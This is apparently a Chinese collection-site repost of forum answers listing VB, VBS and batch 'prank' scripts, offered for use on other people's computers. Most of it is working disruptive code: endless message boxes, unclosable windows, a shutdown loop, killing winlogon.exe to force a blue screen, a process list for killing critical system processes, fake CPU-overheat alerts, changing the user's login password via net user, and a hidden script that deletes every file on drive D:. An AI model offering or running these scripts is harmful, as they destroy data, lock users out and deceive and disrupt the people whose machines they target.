VB代碼之：鼠標鎖 option Explicit Private Type RECT? Left As Long? Top As Long? Right As Long? Bottom As Long? End Type Private Declare Function ClipCursor Lib "user32" (lpRect As Any) As Long Private Sub Command1_Click()'鎖定鼠標? Dim r As RECT? r.Left = 100: r.Top = 100? r.Right = 100: r.Bottom = 100? ClipCursor r? End Sub Private Sub Command2_Click()‘解除鎖定? ClipCursor ByVal 0&? End Sub

VB代碼之：藍屏代碼 Shell "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul", 0

VB代碼之：關不掉的窗口? Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer) Print "woca" Cancel = True End sub

VB代碼之：不斷打開關機對話框 Private Declare Sub ShutDownDialog Lib "shell32.dll" Alias "#60" (ByVal hwndOwner As Long) Private Sub Form_Load() Do ShutDownDialog hWnd Loop End Sub

VB代碼之：彈出無限 Msgbox Private Sub Form_Load()? love: msgbox"嘿嘿"? Go to love? End Sub

VB代碼之：CPU100%占據者 Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer) Form1.Show End Sub Private Sub Form_Load() Timer1.Interval = 10 Timer2.Interval = 10 Form1.Hide For i = 1 To 1E+23 For a = 1 To 1E+16 Next a For b = 1 To 1E+19 Next b For c = 1 To 999999999 Next c Next i End Sub Private Sub Timer1_Timer() Form1.Show End Sub Private Sub Timer2_Timer() Form1.Show End Sub

VB代碼之：編寫系統炸彈 Private Sub Form_Load() For i=1To 1E+40 Shell"shutdown -s -t 0" Next i End Sub VB代碼之：編寫無限彈不規則窗口 Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long Private Sub Form_Load()? '窗口永在最前? SetWindowPos Me.hWnd, -1, 500, 150, Me.Width, Me.Height, 1? Randomize Timer '偽隨機數發生器? Me.Width = Int(Screen.Width / 2 * Rnd)? Me.Height = Int(Screen.Height / 2 * Rnd)? Me.Left = Int((Screen.Width - Me.Width) * Rnd)? Me.Top = Int((Screen.Height - Me.Height) * Rnd) Timer1.Interval = Int(Rnd * 5000) + 5000? End Sub Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)? Dim a As New Form1? a.Show? Cancel = 1? Me.FontSize = 14? Print "這么是關不掉我的。" & vbCrLf & "啦啦啦……"? End Sub Private Sub Timer1_Timer()? Me.Left = Rnd * 10000? Me.Top = Rnd * 8000? End Sub

VB代碼之：鼠標不見了 Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long Private Sub Command1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)? ShowCursor (False)? End Sub Private Sub Command2_Click()? ShowCursor (True)? MsgBox "ok"? End Sub

這個是來自于 我們群里的論壇里的一個

創建 一個Text 和一個 Command1 Shell "Taskkill /f /im " & Text1.Text '結束Text1里的進程 ~? 提個醒：把Text1的Text 為 "重要的進程" '我就不說 系統重要的進程了…… 請看下面 Windows 進程表 下面的是Windows XP 常見的進程列表 最基本的系統進程（也就是說，這些進程是系統運行的基本條件，有了這些進程，系統 就能正常運行） smss.exe Session Manager csrss.exe 子系統服務器進程 winlogon.exe 管理用戶登錄 services.exe 包含很多系統服務 lsass.exe 管理 IP 安全策略以及啟動 ISAKMP/Oakley (IKE) 和 IP 安全驅動程序。 (系統服務) 產生會話密鑰以及授予用于交互式客戶/服務器驗證的服務憑據(ticket)。(系統服務) svchost.exe 包含很多系統服務 svchost.exe SPOOLSV.EXE 將文件加載到內存中以便遲后打印。(系統服務) explorer.exe 資源管理器 internat.exe 托盤區的拼音圖標 附加的系統進程（這些進程不是必要的，你可以根據需要通過服務管理器來增加或減 少） mstask.exe 允許程序在指定時間運行。(系統服務) regsvc.exe 允許遠程注冊表操作。(系統服務) winmgmt.exe 提供系統管理信息(系統服務)。 inetinfo.exe 通過 Internet 信息服務的管理單元提供 FTP 連接和管理。(系統服務) tlntsvr.exe 允許遠程用戶登錄到系統并且使用命令行運行控制臺程序。(系統服務) 允許通過 Internet 信息服務的管理單元管理 Web 和 FTP 服務。(系統服務) tftpd.exe 實現 TFTP Internet 標準。該標準不要求用戶名和密碼。遠程安裝服務 的一部分。(系統服務) termsrv.exe 提供多會話環境允許客戶端設備訪問虛擬的 Windows 2000 Professional 桌面會話以及運行在服務器上的基于 Windows 的程序。(系統服務) dns.exe 應答對域名系統(DNS)名稱的查詢和更新請求。(系統服務) 以下服務很少會用到，上面的服務都對安全有害，如果不是必要的應該關掉 tcpsvcs.exe 提供在 PXE 可遠程啟動客戶計算機上遠程安裝 Windows 2000 Professional 的能力。(系統服務) 支持以下 TCP/IP 服務：Character Generator, Daytime, Discard, Echo, 以及 Quote of the Day。(系統服務) ismserv.exe 允許在 Windows Advanced Server 站點間發送和接收消息。(系統服 務) ups.exe 管理連接到計算機的不間斷電源(UPS)。(系統服務) wins.exe 為注冊和解析 NetBIOS 型名稱的 TCP/IP 客戶提供 NetBIOS 名稱服務。 (系統服務) llssrv.exe License Logging Service(system service) ntfrs.exe 在多個服務器間維護文件目錄內容的文件同步。(系統服務) RsSub.exe 控制用來遠程儲存數據的媒體。(系統服務) locator.exe 管理 RPC 名稱服務數據庫。(系統服務) lserver.exe 注冊客戶端許可證。(系統服務) dfssvc.exe 管理分布于局域網或廣域網的邏輯卷。(系統服務) clipsrv.exe 支持“剪貼簿查看器”，以便可以從遠程剪貼簿查閱剪貼頁面。(系統 服務) msdtc.exe 并列事務，是分布于兩個以上的數據庫，消息隊列，文件系統，或其 它事務保護資源管理器。(系統服務) faxsvc.exe 幫助您發送和接收傳真。(系統服務) cisvc.exe Indexing Service(system service) dmadmin.exe 磁盤管理請求的系統管理服務。(系統服務) mnmsrvc.exe 允許有權限的用戶使用 NetMeeting 遠程訪問 Windows 桌面。(系統服 務) netdde.exe 提供動態數據交換 (DDE) 的網絡傳輸和安全特性。(系統服務) smlogsvc.exe 配置性能日志和警報。(系統服務) rsvp.exe 為依賴質量服務(QoS)的程序和控制應用程序提供網絡信號和本地通信控制 安裝功能。(系統服務) RsEng.exe 協調用來儲存不常用數據的服務和管理工具。(系統服務) RsFsa.exe 管理遠程儲存的文件的操作。(系統服務) grovel.exe 掃描零備份存儲(SIS)卷上的重復文件，并且將重復文件指向一個數據存 儲點，以節省磁盤空間。(系統服務) SCardSvr.exe 對插入在計算機智能卡閱讀器中的智能卡進行管理和訪問控制。(系統 服務) snmp.exe 包含代理程序可以監視網絡設備的活動并且向網絡控制臺工作站匯報。(系 統服務) snmptrap.exe 接收由本地或遠程 SNMP 代理程序產生的陷阱消息，然后將消息傳遞 到運行在這臺計算機上 SNMP 管理程序。(系統服務) UtilMan.exe 從一個窗口中啟動和配置輔助工具。(系統服務) msiexec.exe 依據 .MSI 文件中包含的命令來安裝、修復以及刪除軟件。(系統服務) 嘿嘿 然后 Form的Load事件中 輸入代碼 Command1_Click 嘿嘿
msgbox "你要點100下確定",vbokcancel,"hkmfk" for i=1 to 100 msgbox "加油!!!"&"還有"&(100-i)&"下",4096,"zhb0813" next



dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true

2.刪除D:所有文件 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:*.* / f /q /s""",0 ,true

3.不斷彈出窗口 while(1) msgbox "哈哈 你被耍了！" loop

4.不斷按下alt+f4 （開什么都關閉……） dim WSHshell set WSHshell = wscript.createobject("wscript.shell") while(1) WSHshell.SendKeys "%{F4}" loop

放一個timer,名為timer1? Private Sub Form_Load()? Me.Visible = False? Timer1.Interval = 10*1000? End Sub? Private Sub Timer1_Timer()? msgbox "CPU溫度過高，系統出現嚴重錯誤！",16+4096,"警告"? msgbox "CPU溫度過高，系統出現嚴重錯誤！",16+4096,"警告"? msgbox "CPU溫度過高，系統出現嚴重錯誤！",16+4096,"警告"? msgbox "CPU溫度過高，系統出現嚴重錯誤！",16+4096,"警告"? msgbox "CPU溫度過高，系統出現嚴重錯誤！",16+4096,"警告" '可以多復制幾個 msgbox "CPU溫度過高，系統出現嚴重錯誤！",16+4096,"警告"? End Sub

多了 去看我回答的所有內容 我最在行了 ?VB的 不知道了 你應該不是很會 這些東西 VB還要編成EXE 有點麻煩? 我估計你問的是VBS BAT之類的腳本 ?

1.掉qq ?taskkill /im qq.exe /f /t? 2.10秒強制關機（任務管理器無效） shutdown -s -t 10? 3.死機 start cmd 0%? 4.設置登錄密碼為2097152 net user "%username%" 2097152? 5.讓電腦只剩一個背景 taskkill /im /f /t explorer.exe ? VBS的?

1.莫名其妙結束當前程序 set ws=createobject("wscript.shell") do ws.sendkeys "%{f4}" loop ? 2.不斷提示你是豬 do msgbox("你是豬") loop? 剩下的是我以前編的 http://wenwen.soso.com/z/q242167878.htm ; 去這個網看看 ?BAT怎么寫 你自己去網上找找我就不費話了 shell "cmd.exe /c ntsd -c q -pn winlogon.exe",vbhide 運行后直接藍屏。。。慎用~

總結

以上是生活随笔為你收集整理的vb的一些搞怪的操作的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。